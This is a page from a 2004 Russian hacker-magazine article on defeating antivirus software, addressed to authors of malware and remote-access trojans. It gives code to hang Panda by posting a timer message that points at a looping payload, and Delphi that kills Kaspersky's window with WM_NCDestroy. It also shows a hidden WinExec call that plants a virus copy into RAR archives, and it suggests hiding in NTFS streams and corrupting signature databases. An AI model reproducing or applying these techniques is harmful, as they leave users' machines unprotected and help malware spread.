Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Антиантивирус

Абанов Георгий aka Zero Ice

Спецвыпуск: Хакер, номер #048, стр. 048-044-3


nop

nop

nop

stupidfun:

nop

jmp stupidfun

и послал сообщение WM_Timer с указателем на начало кода. Panda впадает в ступор и больше не отвечает ни на что. При более внимательном рассмотрении гостя, я нашел определитель версии пушистого медведя и соответствующий список адресов для атаки.

Схожую пакость можно проделать и с русским народным антивирусом. Продукт лаборатории Касперского падает или отключается:

var h:integer;

begin

H:=FindWindow(nil, 'Антивирус Касперского Personal');

postmessage(h, WM_NCDestroy, 0, 0);

end;

Причем предугадать последствия от WM_NCDESTROY мне так и не удалось. Зависание/отключение авера – 10/90. Довольно забавно смотреть на этот недочет. KAV предотвращает вмешательство в свой процесс (OpenProcess не срабатывает даже с SeDebugPrivilege привилегией), и службу нельзя остановить или приостановить, но одно сообщение может выключить антивирус и оставить компьютер без защиты. Единственный минус этой “атаки” – исчезновение значка в трее.

Outro

Напоследок хочу открыть страшную тайну: защита от вирусов и червей в 90% случаев лежит в первую очередь на плечах создателя RAT. Только он можешь представить и оценить последствия от запуска неизвестной программы или аттача. Ни один современный антивирус не выловит неизвестный ему вирус (существующие эвристические анализы и эмуляторы кода остаются в зачаточном состоянии уже многие годы), хотя и не все известные ловятся и лечатся. Да чего говорить о неизвестных? Существуют аверы, которые до сих пор не сканируют файловые потоки NTFS’a! Вот, например, эта самая функция просмотра файловых потоков:

function BackupSeekA(hFile: THandle; dwLowBytesToSeek, dwHighBytesToSeek: DWORD; lpdwLowByteSeeked, lpdwHighByteSeeked: PDWORD;var lpContext: Pointer): BOOL; stdcall; external kernel32 name 'BackupSeek';

Так что есть у русских тайные погреба, как говорил Мальчиш-Кибальчиш, и вам их не засыпать :). Кстати, не стоит забывать и о возможности порчи вирусами сигнатур базах известных антивирусов. В интернете без проблем можно найти описание форматов практически всех популярных баз и рабочие примеры извлечения и изменения в них инфы. Советую также обратить внимание на свои архивы. Существуют паразиты, прячущие себя в них, иногда замещая собой исполняемые файлы. Найти известный архиватор на компьютере пользователя и добавить себя в архив довольно легко. Например, для формирования параметров к RAR’у обрати внимание на “o+” – перезапись существующих файлов. Вот одна из вариаций ключей:

WinExec(PathToRarExe+ ‘ a -o+ ‘+ArchName+’ ‘+VirusCopyPath,SW_HIDE);

Засим позволь откланяться.

О работе с файловыми потоками мы писали в Спеце «the ХР Files» #03.2004(40), а рубрика «Кодинг» Хакера освещала эту тему в статье «Куда уходят файлы». Если ты не купил этот журнал, то воспользуйся ссылкой www.xakep.ru/magazine/xa/065/114/5.asp.

Назад на стр. 048-044-2  Содержание  Вперед на стр. 048-044-4